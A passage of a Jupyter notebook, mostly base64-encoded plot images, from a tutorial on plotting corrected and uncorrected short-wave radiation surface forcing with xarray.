kWp/bBemTs81E8LWb6rrOul0uu55uyBvJsSbTZYILBaLPP3009x0001VAdj4GVpx8cUX1z22XNYhQqxlLctYxiu8wla2cqhye5EXCRBgDWvop59lLGsa36ijc5CDpEnzAi8AZnu/s7W2oh3reOOLxc5i7eOlUmmaikWpMk30NnwmVSxaB3KfzjIdxGKnsATHeJ3gisUiwWCQtWvXjsv6phv33HMP999//4S008zn84CZdT0eLrnGWMcIES6u3AYZrMY3WrGO29hGgkQ1vnEuc6vv38lOHuIhUqTqtjERiTOTgfV7qqpKKHR2dqE5G7Fq9/pJLj5nyqSKRd+qODn4YnHy8GOHRnPy5En++Z//mQ996ENVK+BEYK1X1/Vx3/8bhWMvvWxmM5vYxGEOs5Wt7GAHadI8XbnNYx4b2UiYMD/mx47r/SE/5Ie7fsi71rxrXMfbaYQQfpLLJDGty+cIOpDgMrGrP1vwxeIMxBeLk4cvFusxDIO7776b119/nUsvvZT+/vGpJ+iEPdlkIrGE4xe/+EUEgsWV283czKu8yla2spe9HK/c3PjkQ5/k7ee9HVk6u/+zVpKLT2eZ9hnRPh3BF4szEF8sTi6+WKzxwAMP0N/fj6qq/PznP+fNb37zhG2rU2LRwi4aARQU1lRuOXK8wis8y7Oc5nTL9RxKHeI/3/hPNp+zeaKHPKH4tRYnh2ltWfRjFjvGpH0L5XLZD3SeJHyxOHn4lsUamqbxjW98g9/93d9FCMFzzz3Hpk2bJmx7nRaLFl/4wheqk0WUKJdwCZvw9nmPpY9N1PA6hm9ZnBz8mEWf8WBSLYvTMztramNl1fpicXLwxWINIQTRaJRvfvObJJNJ7rjjjgn9bqyYxU6LRTuNmc0f/uKHPb1vfsJbAf2pjC8WJ4dpbVn0i3J3jLbEYiqVcl/II0NDQ5RKpXFdp4875XKZXC5HNpv141gmgXQ6jSzL/n5fYdasWbz44ovkcjmuuuqqCf1eDMMgl8sxPDw85uLy4803fvcbPPK3j3A0dbTpMguTC+nv7j/r95lCocDQ0BCJRGKyhzKjKBaLFItFUqnUWb8PNZJKZafFNs4GhOHhMrtQKLBs2TKOH3cPxvbx8fHx8fGZmsybN48DBw4QDocneyhjptOaZDp8Z2eKJ7EI5o/jW6J8fHx8fHzOXoLB4LQQPZ3UJNPlOzsTPItFHx8fHx8fHx+fmYefE+7j4+Pj4+Pj49MUXyz6+Pj4+Pj4+Pg0xReLPj4+Pj4+Pj4+TfHFoo+Pj4+Pj4+PT1N8sejj4+Pj4+Pj49MUXyz6+Pj4+Pj4+Pg0xReLPj4+Pj4+Pj4+Tfn/Af4+rXqViX1nAAAAAElFTkSuQmCC", "text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "corrected_surface_forcing.plot(\"swrad\", time=15)" ] }, { "cell_type": "markdown", "id": "37072dfe-fa76-4f5f-9503-481d8538e257", "metadata": {}, "source": [ "To visualize the difference between the corrected and uncorrected short-wave radiation, you can use `xarray`'s plotting method. " ] }, { "cell_type": "code", "execution_count": 13, "id": "304fafcb-2244-40ee-850f-e0b708f2a6a8", "metadata": { "tags": [] }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.collections.QuadMesh at 0x7fe41b500590>" ] }, "execution_count": 13, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": 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rrkDfvn3T39fU1ADYYu5hCgoKsmbOmThxIpYtW4b//Oc/mkmtMWpqahrt09btLcHUqVO18tixY7HrrrviyiuvxJNPPomxY8fm7NgHHnggDjzwwHT56KOPxgknnIC99toLkydPxvPPP5/edu211+Laa6/V9q+pqUE0Gm2w7YKCgvSY2u4Jdx0ADXr2NfX62Y61ra5zSUmJdu22Pt8/+9nPMGTIkPT3W/+/9blXSuEf//gHfvWrX0EppT33o0ePxmOPPYZ33nkHw4YNa/TYt912m2Hmb4hu3bpZ6zz44IP44IMPNBO1X/r374+5c+eiqqoKr7/+Ol566SXDq+v888/HeeedhzPPPBNXXHEFHMfBjTfeiLVr1wLQ7482bdpgwIABGDp0KA4//HBUVFTglltuwbHHHotXX30VHTt29D2O7u3AllVYx3GM79u0aZO+t/L1nSI0Tt5PfGpqajB16lQ88MADWLNmjbbsvXHjRqO++48vsOXF07Vr17QmaPjw4Tj++ONx3XXX4fbbb8eIESNw7LHH4je/+U2DN2+2KCgoQKdOnbTvysrK0L17d2PZuKysTHthffrpp3j//feN/beyfv16z2P3798f/fv3b2bPG+fVV1/FmWeeidGjR+Omm27Stm2dsNbV1Rn71dbWNric7ZcZM2bg/vvvxw033ICf//zn6e9TqRS+/fZbrW779u0RjUZRWFjYaJ/c/W4qXsfKlEsuuQRXX301XnrppZxOfBpil112wTHHHIN//vOfSKVSCIVCjdYtLCxEPB5vcJv7WtvuCXcdr2M1Zf9tcf81hcaebzanbjUxb33uv/32W2zYsAFz5szBnDlzGmzb9twPGjSoud3WqKysxOTJk/G73/0uIzNwaWkpRo4cCQA45phj8Oijj+KYY47BO++8g7333hsAcO6552L16tWYMWMGHnroIQBbTKhXXHEFbrrpprRJLplMYuTIkRgxYoQWNmHkyJEYMGAAZsyYgWnTpvkex8besfz9Aw88gNNOOw1A0+9JIX/I+4nPBRdcgAceeAAXX3wxhg4dirKyMgQCAYwdO7ZZwt5AIIAnn3wSb7zxBv7973/jhRdewBlnnIHbbrsNb7zxRs70FI394Wjse/cEz3Ec/L//9/9wxRVXNFh311139Tz2xo0bm/SrIxqNNklkDADvvfcejj76aOyxxx548sknjdWWrl27AtgSo4dflmvXrtXs+s3hwQcfxO9//3uce+65uOqqq7Rtq1evTuujtrJVk9K1a1esWbPGaG/rL8qm/Ppt6rEyZauY/4cffsi4rebQo0cPxONxVFVVGZoaN127dkUqlcL69evRuXPn9PfxeBzff/99ekzbt2+PWCyWHms3TR3/pl4/9/3XUF2/17m5NPe53/puO/nkkzF+/PgG6+61116ex/7hhx8anZC6KSws9NT23XrrrYjH4/j1r3+d/gH59ddfA9gyUfvyyy/RrVs335P94447Dqeccgoee+yx9MQHAG666SZcfvnl+Oijj1BWVoY999wT//d//weg/l23cOFCfPjhh5g5c6bWZt++fbH77rvjf//7HwD/48jxoB5++GG8+OKL+Otf/6p973ay6Nq1K+bPnw+llDbJbe47Rcg9eT/xefLJJzF+/Hjcdttt6e9qa2sbDZj36aef4tBDD02XN2/ejLVr12orAgBwwAEH4IADDsBNN92ERx99FOPGjcNjjz2mmaO8aI64r7nsvPPO2Lx5c/rXkl8uuuii9K8nL4YPH96kyLOff/45jjjiCHTu3BnPPfdcg5PFgQMHAtjiQeee5HzzzTf4+uuvNfGhX/71r3/ht7/9LY477ri0Z5yb8vJy4wW29cU6cOBAzJ8/H5WVldof88WLF2v9bipex8qUTZs24bvvvmv0V2iu+eKLL5okfHVfa/dz9vbbb8NxnPT2YDCIPffcs8Ho6osXL0afPn3Swl6vYzXl+u2xxx4Ih8N4++23NVNyPB7Hu+++q33nh2313Hfq1Alt2rRBKpVq9nN/3HHHYcGCBdZ648eP9wzKuGrVKvz4448NelTefPPNuPnmm7F06VLfz05dXR0cx2lw5b5du3aaIPill15C9+7d0wE9161bBwANBi5NJBJpz0S/48h1XnvtNRQUFHjuO3DgQPzxj3/E8uXLtZX15r5ThNyT9xOfUCikrX4AwN13391opN45c+bg9NNPT2t3Zs2ahWQyiSOPPBLAll8obdu21V5gW2/MhpYrG6O4uLjBBzYX/OpXv8K1116LF154AaNHj9a2bdiwASUlJZ76lmxqfCoqKjBq1CgEg0G88MILjf5RHjBgAHbbbTfMmTMH55xzTvoX7qxZsxAIBHDCCSdYj9UQCxcuxNixY3HIIYfgkUceadBd2+tFdcIJJ+DWW2/FnDlzcPnllwPYct0feOABDBkyxPdSvu2l2BRqa2uRSCSMP/o33HADlFI44ogjMmrfxrfffmtcx/feew/PPPMMjjzySG2Mv/vuO3z33Xfo2bNn2qPysMMOQ/v27TFr1ixt4jNr1iwUFRVhzJgx6e9OOOEETJo0CW+//Xba42rFihV4+eWX09djK6tWrUJ1dbUWvbqp16+srAwjR47EX//6V1x99dXpsf3LX/6CzZs348QTT2zWWBUXFzf6oyubhEIhHH/88Xj00Ufx4YcfYo899tC2N3TNmGxpfC688EIce+yx2nfr16/HOeecg9NOOw3HHHNMetUzkUjg888/R1lZWXrVbcOGDSguLjb0lH/84x8BmN6AzOOPP4633noLt956a/pe3Lry89hjj2nPxzvvvIMVK1akf1hlYxxtHHPMMbjkkktw33334Z577gGwZeVu9uzZ+NnPfqbp59auXYuNGzdi5513To/Hxo0bsXbtWnTt2jW98tbQOArZI+8nPkcddRT+8pe/oKysDP3798eiRYvw0ksvaXEe3MTjcRx++OH41a9+hRUrVuC+++7DQQcdhKOPPhoA8NBDD+G+++7DL3/5S+y8887YtGkT7r//fpSWlhqrQl4MGjQIjz/+OC699FLst99+KCkpwS9+8YusnDPzu9/9Ds888wyOOuoonHbaaRg0aBCqqqrSYsMvv/zS05U7mxqfI444Al988QWuuOIKvPbaa3jttdfS27p06YL/9//+X7o8Y8YMHH300Rg1ahTGjh2LDz/8EPfccw9++9vfGq6fN954IwDgo48+ArDlD9TWtreasr766iscffTR6YnTE088obWx1157WZf/hwwZghNPPBGTJ0/G+vXrscsuu+Chhx7Cl19+iT/96U9a3ffffx/PPPMMAOCzzz7Dxo0b0/3ce++9m3S977nnHmzYsAHffPMNAODf//532kxwwQUXoKysDBUVFdhnn31w0kknpf/Iv/DCC3juuedwxBFH4JhjjrEepyEWLlyIhQsXAtjygq+qqkr3/5BDDsEhhxwCAPj1r3+NwsJCHHjggejcuTOWLVuGOXPmoKioCLfccotxPuzOXlhYiBtuuAETJkzAiSeeiNGjR+PVV1/FX//6V9x0002a+fT888/H/fffjzFjxuDyyy9HJBLBzJkz0aVLF1x22WXasRpyZ/dz/W666SYceOCBGD58OM4++2x8/fXXuO222zBq1ChjMhkIBJq04jlo0CDMmjULN954I3bZZRd07twZhx12mOVKNI9bbrkF8+fPx5AhQ3DWWWehf//++OGHH/DOO+/gpZdesppAs6Xx2XfffbHvvvtq3201eQ0YMECbFK1Zswa77767tor0yiuv4MILL8QJJ5yAvn37Ih6P49VXX8U///lPDB48WPtRtnDhQlx//fUYNWoUOnTogDfeeAMPPPAAjjjiCFx00UXauf2///f/8NBDD6GyshKjRo3C2rVrcffdd6OwsFBzUc90HG10794dF198MWbMmIFEIoH99tsPTz/9NF599VU88sgjmllz8uTJeOihh7By5cp0HKOnnnoKp59+uqYbamgchSzSMs5kTefHH39Up59+uurYsaMqKSlRo0ePVh9//LHq1auX5oa51Z19wYIF6uyzz1bt2rVTJSUlaty4cemowEop9c4776iTTjpJ9ezZU8ViMdW5c2d11FFHqbfffttXvzZv3qx+85vfqLZt2yoAaZfHxtzZG4rKO3z4cDVgwADj+169ehlRcDdt2qQmT56sdtllFxWNRlXHjh3VgQceqG699VbNfT/XwKc7/FNPPaUGDhyoYrGY6t69u7rqqqsa7K9Xu1vZ6jLc2McdAsCLmpoadfnll6vy8nIVi8XUfvvtp55//nmj3tZ7qqFPU1yAldpyLRtrY6sb+o8//qhOPvlktcsuu6iioiIVi8XUgAED1M033+x5bW3u7Ftdz21jdeedd6r9999ftW/fXoXDYdW1a1d18sknNxgJuyF39q3MmTNH9evXT0WjUbXzzjur22+/XTmOY9RbvXq1OuGEE1RpaakqKSlRRx11VIPHasidXammXz+llHr11VfVgQceqAoKClSnTp3UhAkTVGVlpVZn06ZNCkDa7d6LiooKNWbMGNWmTRvtnm/Mnb2pz7dSW54Bd/RfpbZESp4wYYLq0aOHikQiqry8XB1++OFqzpw51r7mksbc2bd+734+PvvsM3XqqaeqPn36qMLCQlVQUKAGDBigpkyZojZv3qzt/9lnn6lRo0apjh07qlgspnbbbTc1depUVVdXZ/ShurpaXX/99ap///6qsLBQlZWVqaOOOkotXbrUqNvccWyKO7tSW1KW3HzzzapXr14qGo2qAQMGqL/+9a9Gva1hKtzP7Nb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